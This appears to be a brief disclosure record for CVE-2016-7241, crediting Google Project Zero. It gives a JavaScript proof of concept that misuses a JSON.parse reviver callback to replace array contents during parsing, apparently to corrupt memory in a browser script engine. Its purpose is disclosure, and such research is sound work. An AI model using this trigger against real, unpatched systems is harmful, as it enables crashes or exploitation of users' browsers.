CVE-2016-7241 Report: Dec 2016 Fix: Oct 2016 Credit: Natalie Silvanovich, Google Project Zero PoC var once = false; var a = 1; function f(){ if(!once){ a = new Array(1, 2, 3); this[2] = a; } once = true; return {}; } JSON.parse("[1, 2, [4, 5]]", f); Reference Microsoft Project Zero